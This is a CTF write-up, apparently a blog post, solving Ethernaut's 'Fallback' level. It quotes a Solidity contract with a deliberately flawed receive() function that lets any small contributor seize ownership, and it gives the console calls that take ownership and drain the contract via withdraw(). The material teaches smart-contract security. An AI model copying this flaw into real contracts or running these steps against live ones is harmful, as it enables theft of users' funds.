Fallback - Level 01
Tags: 100daystooffload, ctf, ethernaut, ethereum
Published: 2023-07-27 04:56:12

## Problem statement

Look carefully at the contract's code below.

You will beat this level if

1. you claim ownership of the contract
2. you reduce its balance to 0

Things that might help

* How to send ether when interacting with an ABI
* How to send ether outside of the ABI
* Converting to and from wei/ether units (see help() command)
* Fallback methods

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
```

## Solution

Start with creating a new contract for the current level by clicking on the button, __Get new instance__. Remember to have enough eth in the connected wallet.

Open up the developer tool in your browser (F12).

Next move is to send a contribution to the contract by using the _contribute_ function.

```javascript
await contract.contribute({value: toWei('0.0001')})
```

When that transaction has been accepted (both by you in the wallet and the network) it it's time for next interaction with the contract.

```javascript
await contract.sendTransaction({value: toWei('0.0001')})
```

Now we have the ownership of the contract, time to reduce its balance to 0.

```javascript
await contract.withdraw()
```

To finalize the challenge click the button, __Submit instance__, to commit the solution to the ethernaut contract.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2kj9izand3xjdc35wa7m.png)

## Explanation

There are two goals, claim the ownership of the contract and reduce it balance to 0.

To solve the first goal I will look after code affecting the state variable _owner_ in the code.

I found three places when scanning through the code.

```solidity
 constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }
```

The constructor, when the contract is created, is setting the owner to whoever is creating the contract. The contract is already deployed so this is a dead end.

```solidity
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
```

The contribute function seems more promising. It require us to contribute less than 0.001 ether, however we will need to contribute more than the current owner to claim the ownership of the contract.

If we check the _constructor_ again we will see that the owner starts with 1 000 ether.

```solidity
contributions[msg.sender] = 1000 * (1 ether);
```

This makes it more difficult and expensive. We would need a lot of ether (even if we would get it back in the second goal) and the _contribute_ function limits us on how much we can contribute on each call.

```solidity
require(msg.value < 0.001 ether);
```

Lets investigate the third code snippet that alters the _owner_ state variable.

```solidity
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
```

Here is the requirements that we need to send some eth to the receive function and we need to have contributed with more than 0 wei to the contract. If we manage to fulfill these conditions when calling the _receive_ function we will reach the first goal.

```javascript
await contract.contribute({value: toWei('0.0001')})
```

We need to remember to fulfill the require guard in the _contribute_ function, otherwise the transaction will fail. Therefore we include a value that must be less than 0.001 eth. Value is always in Wei when making transactions with Ethereum, so the _toWei_ method is handy here.

The actually claim of the ownership of the contract is done when calling the _receive_ function.

```javascript
await contract.sendTransaction({value: toWei('0.0001')})
```
_receive_ is a special function in a solidity contract. This acts as a "fallback" function when someone is sending eth to the contract. Since we have done a contribution and are sending some eth in the call above we are fulfilling the conditions in the _receive_ function.

```solidity
require(msg.value > 0 && contributions[msg.sender] > 0)
```

The address of the owner of the contract should be your account now, check in the console with following line of code.

```javascript
await contract.owner()
```

The second goal to withdraw all ether from the contract is straightforward now. The _withdraw_ function seems to do the job.

```solidity
  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }
```

Now that we are owner of the contract the modifier, _onlyOwner_, will not be a problem anymore. So we only need to make the call to the _withdraw_ function.

```javascript
await contract.withdraw()

const contractAddress = await contract.address
await getBalance(contractAddress)

// Output: 0
```

Mission accomplished!


## Resources

* [Fallback](https://ethernaut.openzeppelin.com/level/1) -  This challenge
* [Solidity](https://docs.soliditylang.org/en/v0.8.21/index.html) - Solidity documentation
* [web3js](https://web3js.readthedocs.io/en/v1.2.11/index.html) - web3.js documentation